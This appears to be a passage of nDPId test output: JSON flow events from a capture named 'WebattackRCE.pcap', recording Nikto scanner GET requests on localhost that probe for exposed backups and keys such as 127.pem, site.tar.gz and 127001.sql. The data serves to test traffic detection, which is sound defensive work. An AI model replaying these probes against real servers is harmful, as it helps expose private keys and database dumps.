+00631{"flow_id":148,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":900238,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFczBAAEAGyQB\/AAABfwAAAcKwH5A3G0tor3ywHoAYAED+uQAAAQEICp1m+8ydZvvMR0VUIC8xMjcuMC50YXIuYnoyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":148,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":1576420276900,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49840,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":149,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":1576420276901,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49842,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":149,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":901677,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADD0l1AAEAGadV\/AAABfwAAAcKyH5CdU+oT47LjtYAYAED+twAAAQEICp1m+82dZvvNR0VUIC9zaXRlLnRhci5neiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":149,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":1576420276901,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49842,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":150,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1576420276903,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49844,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":150,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":903118,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDR55AAEAG9JR\/AAABfwAAAcK0H5AcfX\/WOy6jEYAYAED+twAAAQEICp1m+8+dZvvOR0VUIC9zaXRlLnRhci5neiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":150,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1576420276903,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49844,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":151,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1576420276904,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49846,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":151,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":904513,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/WUtAAEAG4ut\/AAABfwAAAcK2H5D8ZmEEi9guOYAYAED+swAAAQEICp1m+9CdZvvQR0VUIC8xMjcucGVtIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":151,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1576420276904,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49846,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":152,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1576420276905,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49848,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":152,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":905820,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/HslAAEAGHW5\/AAABfwAAAcK4H5CgfyaOuiPkq4AYAED+swAAAQEICp1m+9GdZvvRR0VUIC8xMjcucGVtIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":152,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1576420276905,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49848,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":153,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":1576420276907,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49850,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":153,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":907144,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9zZ5AAEAGbpp\/AAABfwAAAcK6H5CXJ\/XXeafd0YAYAED+sQAAAQEICp1m+9OdZvvSR0VUIC8wLnRhciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":153,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":1576420276907,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49850,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":154,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1576420276908,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49852,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":154,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":908460,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9umJAAEAGgdZ\/AAABfwAAAcK8H5Cw+YIsSeaYa4AYAED+sQAAAQEICp1m+9SdZvvUR0VUIC8wLnRhciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":154,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1576420276908,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49852,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":155,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1576420276910,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49854,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":155,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":910228,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDPvVAAEAG\/T1\/AAABfwAAAcK+H5Bg7Aa5zb6cN4AYAED+twAAAQEICp1m+9adZvvWR0VUIC8xMjcuMC4wLnBlbSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":155,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1576420276910,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49854,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":156,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1576420276912,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49856,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":156,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":912025,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDm5RAAEAGoJ5\/AAABfwAAAcLAH5Ba3KPftqtSlIAYAED+twAAAQEICp1m+9edZvvXR0VUIC8xMjcuMC4wLnBlbSBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":156,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1576420276912,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49856,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":157,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":1576420276913,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49858,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":157,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":913690,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCN0tAAEAGBOl\/AAABfwAAAcLCH5DYOQ8GBjLTAIAYAED+tgAAAQEICp1m+9mdZvvZR0VUIC8xMjcwMDEuc3FsIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":157,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":1576420276913,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49858,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":158,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":1576420276916,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49860,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":158,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":916191,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCczVAAEAGyP5\/AAABfwAAAcLEH5BP20t\/\/3FheoAYAED+tgAAAQEICp1m+9ydZvvcR0VUIC8xMjcwMDEuc3FsIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":158,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":1576420276916,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49860,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":159,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":1576420276917,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49862,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":159,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":917573,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDZ9VAAEAG1F1\/AAABfwAAAcLGH5AZz1+f4E8iK4AYAED+twAAAQEICp1m+92dZvvdR0VUIC8xMjcwLnRhci5neiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":159,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":1576420276917,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49862,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":160,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1576420276919,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49864,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":160,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":919088,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDxTFAAEAGdwF\/AAABfwAAAcLIH5D+g\/1jHP616oAYAED+twAAAQEICp1m+9+dZvveR0VUIC8xMjcwLnRhci5neiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":160,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1576420276919,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49864,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} 